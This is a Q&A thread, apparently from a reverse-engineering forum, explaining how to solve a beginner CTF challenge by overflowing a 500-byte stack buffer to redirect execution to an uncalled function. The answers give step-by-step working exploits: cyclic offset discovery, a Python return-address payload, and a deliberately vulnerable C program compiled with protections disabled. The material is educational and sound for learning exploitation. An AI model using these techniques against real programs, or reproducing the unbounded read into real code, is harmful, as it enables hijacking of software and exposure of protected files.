2

I'm new to reverse engineering C binaries but have been working on an old ctf and thought to ask for explanation of specific assembly commands and how a buffer overflow might force a function to be called.

I have taken apart a binary using ghidra and IDA. Its a pretty standard C program with a main() function and methods:

int main(void)

{
  body();
  return 0;
}

void body(void)

{
  char buffer [500];
  int size;
  
  /* gather input and print to the console */
  size = read(0,buffer,700);
  printf("\nUser provided %d bytes. Buffer content is: %s\n",size,buffer);
  return;
}

(Note functions listed are reconstructed from assembly code and therefore may not be exactly correct.) It was at this point that I considered a buffer overflow must be the target of the attack.

Further searching the program found this function, which I concluded I wanted to call:

void success(void)

{
  system("cat file_you_cant_access.txt");
  return;
}

This function is never called but it clearly is the answer to the challenge. So my question is how I can modify the main/body to call this side function.

Unfortunately I don't really understand assembly code so haven't been able to make sense of where addresses are stored and functions are called. Potentially here are some lines that could be significant (they are the lines in the helper method):

/* gather input and print to the console */                     
08048491 55              PUSH       EBP
08048492 89 e5           MOV        EBP,ESP
08048494 81 ec 18        SUB        ESP,0x218
         02 00 00
0804849a c7 44 24        MOV        dword ptr [ESP + local_214],0x2bc
         08 bc 02 
         00 00
080484a2 8d 85 00        LEA        EAX=>local_204,[EBP + 0xfffffe00]
         fe ff ff
080484a8 89 44 24 04     MOV        dword ptr [ESP + local_218],EAX
080484ac c7 04 24        MOV        dword ptr [ESP]=>local_21c,0x0
         00 00 00 00
080484b3 e8 78 fe        CALL       read                                             ssize_t read(int __fd, void * __
         ff ff
080484b8 89 45 f4        MOV        dword ptr [EBP + local_10],EAX
080484bb 8d 85 00        LEA        EAX=>local_204,[EBP + 0xfffffe00]
         fe ff ff
080484c1 89 44 24 08     MOV        dword ptr [ESP + local_214],EAX
080484c5 8b 45 f4        MOV        EAX,dword ptr [EBP + local_10]
080484c8 89 44 24 04     MOV        dword ptr [ESP + local_218],EAX
080484cc c7 04 24        MOV        dword ptr [ESP]=>local_21c,s__User_provided_%d   = "\nUser provided %d bytes. Buf
         a0 85 04 08

The issue is that it appears to not be possible to overflow the buffer into anything meaningful. If the answer isn't obvious, perhaps you can walk me through what approach you would take?

2
  • 1
    post the original your reconstruction of scanf does not seem to be correct scanf is an insecure function and iirc takes only two args a format string and a destination buffer since the function didnt check boundaries you may provide a big enough input to be written to a smaller buffer and so spill damages adjoining region at the end overwriting return address and by crafting an input which overwrites the return address on stack with a different address one can hijack the flow
    – blabb
    Jun 11, 2021 at 10:13
  • 1
    your disassembly shows read() which is not scanf()
    – blabb
    Jun 11, 2021 at 10:16

2 Answers 2

3

Basically, when main calls body, it essentially pushes the return address (which is the value of the EIP register, containing the offset of the instruction following the CALL instruction) to the stack, and then jumps to the address of body. When body will finish running (by executing the RET instruction), it will essentially pop the return address from the stack and jump to wherever it points to. In order to hijack the flow, the attacker must somehow override the stack and place a different address instead of the original return address.

In the code you've attached, buffer is placed on the stack. Based on how program stacks behave, somewhere below it is the return address:

+---------+
| buffer  | 
|         |
|         |
+---------+
| ...     |
+---------+
| ret     | 
+---------+

There might be a few other things between buffer and ret (such as size, or the old frame pointer), but we can ignore them for the sake of simplicity. The important point is that whatever is in between doesn't push ret "out of reach". Since buffer is 500 bytes long, and you are allowed to provide 700 bytes of user input, that's more than enough in order to reach ret and override it.

So, the plan is to provide a specially-crafted input so that buffer and ... contain any random filler, but ret gets overridden with the address of success. The question now is how long that filler should be.

It's possible to calculate the exact length by analyzing the disassembly but there are tools that make it easier, such as cyclic. This tools generates a De-Bruijn sequence which is entered as input to the program. Assuming the input will override ret, we can take the address to which it attempted to jump to and check how far it is from the start of the input. That's the size of the filler.

To see this in action, we'll assume that the binary is compiled without protections (gcc vuln.c -o vuln -no-pie -m32 -fno-stack-protector) and that as pointed out by blabb, the input is received by read and not scanf.

We provide an input to the program using cyclic:

$ cyclic -n 4 550 | ./vuln

User provided 550 bytes. Buffer content is: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae&
zsh: done                cyclic -n 4 550 |
zsh: segmentation fault  ./vuln

We check the error log in order to recover the failing instruction pointer:

$ sudo dmesg | tail -n 2
[13575.170536] vuln[2738]: segfault at 66616165 ip 0000000066616165 sp 00000000ffeb7510 error 14 in libc-2.31.so[f7dc6000+1d000]
[13575.170545] Code: Unable to access opcode bytes at RIP 0x6661613b.

We can see that the program tried to jump to 0x66616165. Now we go back to cyclic to check the offset:

$ cyclic -n 4 -l 0x66616165
516

This means that our filler needs to be 516 bytes long.

We also need the address of success (might be different for you):

$ objdump -D ./vuln | grep success
08049182 <success>:

We'll create the secret file:

$ echo Secret String > file_you_cant_access.txt

And putting it all together, we craft the input (first the filler, then the address of success):

$ python3 -c 'import sys; sys.stdout.buffer.write(b"A"*516 + b"\x82\x91\x04\x08")' | ./vuln

User provided 520 bytes. Buffer content is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Secret String
zsh: done                python3 -c  |
zsh: segmentation fault  ./vuln

As expected, the contents of file_you_cant_access.txt is printed (right before the program crashes since we've corrupted its stack).

1
  • Excellent answer! Thank you for your explanation and linking those tools which are very useful.
    – JFreeman
    Jun 12, 2021 at 0:15
1

As I commented always try to post originals instead of your interpretation.

your interpretation of read() being scanf() is errenous.

scanf() takes a format string like %s......%d.. and a destination.

read() takes a file_descriptior, buffer and length

 

Start of Theory

that apart a buffer overflow can happen if there is no boundary checking in the functions implementation.

scanf ,read etc are what were called insecure functions because they didn't implement bounds checking

that is they would blindly do as told
read anything upto a system limited max size and would write to an insufficiently sized buffer and in the process will overwrite important data by the spill.

a buffer overflow attack is a technique where the attacker being an artisan will craft an ingenuinous input

this crafted input instead of scribbling all over and possibly crashing the target will have the attackers destination placed on specific locations

for example any call to any function pushes a return address in the stack and the flow resumes at the pushed return address

if by crafting an input that overwrites the return address on stack with a different address (attackers destination or in your case the address of success function )
the flow will be hijacked to run the code at such address
(in your case instead of printing how many and what will call the success function)

this hijacking of flow by using an overflowing buffer is termed buffer overflow attack

end of theory

example code vulnerability

your read() takes 700 as size to read.
your buffer is sized as 500
so there is a spill of 200 which can damage or is sufficient to damage or divert a return address on stack.

it is not mentioned which os,compiler etc are used
read is a posix function and possibly used with unistd.h in a 32bit linux system 0 is file_descriptor for STDIN

so you may need to do something like

echo somefilewithcraftedinput.ext | vulnerable_bin

or like vulnbin < input

here is a slightly modified windows clone and demo
the modifications are using a smaller buffer size
replacing cat with type for system() an extra printf to prove we actually ran an uncalled function and returned back successfully

contents of directory pre compilation

:\>ls -lg
total 4
-rw-r--r-- 1 197121 430 Jun 12 02:57 buffo.c
-rw-r--r-- 1 197121  83 Jun 12 01:35 complink.bat
-rw-r--r-- 1 197121  49 Jun 12 01:37 file_you_cant_access.txt 
-rw-r--r-- 1 197121  68 Jun 12 02:54 input.txt

file contents

:\>xxd -g4 input.txt
00000000: 61616161 61616161 61616161 61616161  aaaaaaaaaaaaaaaa
00000010: 61616161 61616161 61616161 61616161  aaaaaaaaaaaaaaaa
00000020: 61616161 61616161 61616161 61616161  aaaaaaaaaaaaaaaa
00000030: 61616161 61616161 61616161 00104000  aaaaaaaaaaaa..@.
00000040: 68104000                             h.@.

:\>cat file_you_cant_access.txt

this is a successful buffer overflow attack    

:\>cat buffo.c
#include <stdio.h>
#include <io.h>
#include <stdlib.h>
void success(void){
  system("type file_you_cant_access.txt");
  return;
}
void body (void){
        char buffer[50];
        int size;
        size = _read(0,buffer,250);
        printf("\nUser provided %d bytes. Buffer content is: %s\n",size,buffer);
        return;
}
int main(void){
        body();
        printf("Overflowed The Buffer executed an exploit and returnd  back to main()\n");
        return 0;
}
:\>cat complink.bat
cl /Zi /W4 /analyze /nologo /GS- /Od buffo.c /link /release /FIXED /DYNAMICBASE:NO

compilation and execution

:\>complink.bat

:\>cl /Zi /W4 /analyze /nologo /GS- /Od buffo.c /link /release /FIXED /DYNAMICBASE:NO
buffo.c
buffo.c(11) : warning C6386: Buffer overrun while writing to 'buffer':  
the writable size is '50' bytes, but '250' bytes might be written.: Lines: 9, 10, 11


:\>buffo.exe < input.txt

User provided 68 bytes. Buffer content is: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaD

this is a successful buffer overflow attack

Overflowed The Buffer executed an exploit and returnd  back to main()

:\>
2
  • Thank you for your comprehensive response! Everything you've written is clear and makes sense. I've extended the buffer overflow attack to suit my file. The only unclarity I have is around your choice of memory address 00104000 68104000. Can you give a little context where you decided on these?
    – JFreeman
    Jun 12, 2021 at 0:10
  • 1
    the default base addres of an executable in windows when aslr and relocation are disabled is 0x400000. and relative address of 0x1000 and 1068 is always relatvie so 401000 and 401068 based on one time disassembly of binary
    – blabb
    Jun 12, 2021 at 6:18

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.